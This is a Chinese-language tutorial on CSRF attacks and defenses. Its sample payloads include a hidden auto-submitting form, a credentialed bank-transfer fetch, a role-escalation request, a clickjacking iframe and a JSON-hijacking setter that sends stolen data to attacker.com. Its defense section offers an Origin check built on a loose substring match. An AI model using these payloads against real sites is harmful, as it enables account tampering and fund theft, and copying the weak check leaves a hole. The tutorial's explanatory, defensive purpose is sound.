CSRF 攻击的危害
CSRF(Cross-Site Request Forgery)攻击是一种利用用户已登录的身份,在用户不知情的情况下执行非预期操作的攻击方式。攻击者通过诱导用户访问恶意页面或点击链接,利用浏览器的自动携带凭证机制(如Cookie)向目标网站发起请求,从而绕过身份验证。
CSRF攻击的核心原理
CSRF攻击依赖于以下关键条件:
- 用户已登录目标网站:浏览器保存了目标网站的会话凭证(如Cookie)。
- 目标网站未验证请求来源:服务端未检查
Referer
头或使用CSRF Token等防护措施。 - 请求可预测性:攻击者能构造出合法的请求参数(如修改用户邮箱的API路径)。
典型攻击流程:
sequenceDiagram
用户->>恶意网站: 访问钓鱼页面
恶意网站->>目标网站: 自动发送携带用户Cookie的请求
目标网站-->>恶意网站: 返回操作结果
实际危害场景分析
用户数据篡改
攻击者可构造表单自动提交修改用户信息。例如修改电商平台收货地址:
<!-- 恶意页面隐藏的表单 -->
<form action="https://example.com/address/update" method="POST">
<input type="hidden" name="address" value="攻击者的地址">
</form>
<script>document.forms[0].submit()</script>
资金转移
针对金融类应用,可能触发转账操作:
fetch('https://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({amount: 10000, to: 'attacker_account'}),
credentials: 'include' // 自动携带Cookie
})
权限提升
结合XSS可实现更复杂的攻击链。例如管理员访问恶意页面后触发角色变更请求:
POST /api/user/role/update HTTP/1.1
Host: target.com
Cookie: sessionid=admin_session
Content-Type: application/json
{"user_id":"victim","role":"admin"}
与其他攻击方式的组合风险
CSRF + Clickjacking
通过iframe覆盖诱导用户点击:
<style>
iframe {
opacity: 0;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<iframe src="https://example.com/delete-account"></iframe>
CSRF + JSON Hijacking
针对返回JSON数据的API:
Object.prototype.__defineSetter__('secret', function(v){
fetch('https://attacker.com/steal?data='+v)
})
然后诱导用户访问:
<script src="https://api.example.com/user/profile"></script>
防御措施的局限性
同源策略的不足
虽然浏览器限制跨域AJAX请求,但以下方式仍可绕过:
<form>
表单提交<img src="...">
等标签发起的GET请求- 302跳转请求
Cookie的SameSite属性
设置SameSite=Lax
可防御部分攻击,但存在兼容性问题:
// 服务端设置Cookie
Set-Cookie: session=abc123; SameSite=Lax; Secure
深度防御方案
双重提交验证
前端生成Token并放入表单和Cookie,服务端比对:
// 前端生成Token
const csrfToken = crypto.randomUUID();
document.cookie = `CSRF-TOKEN=${csrfToken}; SameSite=Strict`;
// 表单提交时携带
<form>
<input type="hidden" name="csrf_token" value="${csrfToken}">
</form>
关键操作二次验证
敏感操作要求重新认证:
// 转账前验证支付密码
async function transfer() {
const pwd = prompt('请输入支付密码');
await verifyPassword(pwd);
// 后续执行转账逻辑
}
请求头校验
检查Origin和Referer头:
// Express中间件示例
app.use((req, res, next) => {
const origin = req.get('Origin');
if (!origin.includes('trusted.com')) {
return res.status(403).send('Invalid request source');
}
next();
});
现代框架的防护机制
React的CSRF防护
结合Axios拦截器自动添加Token:
axios.interceptors.request.use(config => {
config.headers['X-CSRF-TOKEN'] = getCookie('csrfToken');
return config;
});
Angular的HttpClient
默认启用XSRF防护:
// angular.module.ts
@NgModule({
providers: [
{ provide: HTTP_INTERCEPTORS, useClass: HttpXsrfInterceptor, multi: true }
]
})
实际漏洞案例分析
GitHub历史漏洞(2018)
通过<link rel="prerender">
标签触发CSRF:
<!-- 可执行登出操作 -->
<link rel="prerender" href="https://github.com/logout">
OAuth授权劫持
恶意网站构造授权回调:
https://oauth.provider.com/authorize?
response_type=code&
client_id=legitimate_client&
redirect_uri=https://attacker.com/callback
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn